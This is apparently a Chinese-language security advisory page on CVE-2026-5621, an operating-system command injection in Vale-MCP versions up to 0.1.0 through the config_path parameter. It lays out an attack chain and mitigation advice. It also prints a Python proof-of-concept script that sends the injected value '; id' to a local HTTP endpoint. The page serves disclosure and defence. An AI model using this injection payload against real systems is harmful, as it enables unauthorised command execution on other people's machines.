IPBUF安全漏洞报告
English
CVE-2026-5621 CVSS 5.3 中危

CVE-2026-5621 Vale-MCP操作系统命令注入漏洞

披露日期: 2026-04-06

漏洞信息

漏洞编号
CVE-2026-5621
漏洞类型
操作系统命令注入
CVSS评分
5.3 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
ChrisChinchilla Vale-MCP

相关标签

OS Command InjectionRCEVale-MCPCVE-2026-5621Local AttackMedium Severity

漏洞概述

CVE-2026-5621是ChrisChinchilla Vale-MCP软件(版本0.1.0及以下)中发现的一个安全漏洞。该漏洞存在于组件的HTTP接口中,具体受影响的是src/index.ts文件。由于对传入的config_path参数缺乏严格的过滤与校验,攻击者可以通过操纵该参数触发操作系统命令注入。尽管攻击需要本地环境且具备低权限,但一旦利用成功,将导致机密性、完整性和可用性受到低程度影响。目前该漏洞的利用代码已公开,且厂商尚未对此作出回应。

技术细节

该漏洞的根源在于src/index.ts文件处理HTTP请求时,直接将用户可控的config_path参数拼接到系统命令中执行,而未进行任何安全清洗或转义。在HTTP接口处理逻辑中,程序可能调用了类似exec或system的函数,并将config_path作为参数传递。攻击者只需在本地拥有低权限账户,即可构造包含恶意Shell命令的请求发送至该接口。例如,通过在路径中插入分号或管道符,攻击者可以中断原有命令并执行任意指令。尽管CVSS评分显示为中等(5.3分),但这主要是因为攻击被限制在本地(AV:L)且影响范围有限。然而,对于多用户系统或共享服务器环境,此漏洞仍可能导致横向移动或权限提升。由于厂商未发布补丁且未回应披露,该风险目前处于未修复状态,公开的PoC进一步增加了被利用的可能性。

攻击链分析

STEP 1
侦察
攻击者确认目标系统运行了ChrisChinchilla Vale-MCP 0.1.0或更低版本,并能够访问本地的HTTP接口。
STEP 2
访问获取
攻击者获取目标系统的本地低权限账户访问(PR:L),满足攻击的前提条件。
STEP 3
漏洞利用
攻击者向HTTP接口发送特制的数据包,在'config_path'参数中注入恶意的Shell命令(例如使用分号分隔符)。
STEP 4
命令执行
由于程序未对参数进行过滤,后端直接将参数传递给系统Shell执行,导致攻击者注入的命令在服务器上运行。
STEP 5
影响达成
攻击者成功执行任意系统命令,可能导致敏感信息泄露、文件被篡改或服务中断。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit_vale_mcp(target_url): """ PoC for CVE-2026-5621: OS Command Injection in Vale-MCP The vulnerability exists in the 'config_path' parameter of the HTTP interface. This script sends a malicious payload to execute 'id' command. """ # Malicious payload injecting a shell command # Using ';' to chain commands in Unix-like systems payload = "; id" # Prepare the data payload data = { "config_path": payload } try: print(f"[*] Sending payload to {target_url}...") response = requests.post(target_url, data=data, timeout=5) # Check if command injection might have occurred if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response:") print(response.text) else: print(f"[-] Server returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Exploit failed due to network error: {e}") if __name__ == "__main__": # Example target (adjust port/path based on actual service configuration) target = "http://127.0.0.1:3000/api/config" exploit_vale_mcp(target)

影响范围

ChrisChinchilla Vale-MCP <= 0.1.0

防御指南

临时缓解措施
由于官方尚未提供修复补丁,建议用户暂时禁用Vale-MCP的HTTP接口功能,或通过网络防火墙规则限制对该端口的本地访问。如果必须使用,应在应用层部署WAF规则拦截包含特殊命令字符的请求,或修改源代码中的参数处理逻辑,使用更安全的API替代直接命令执行。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表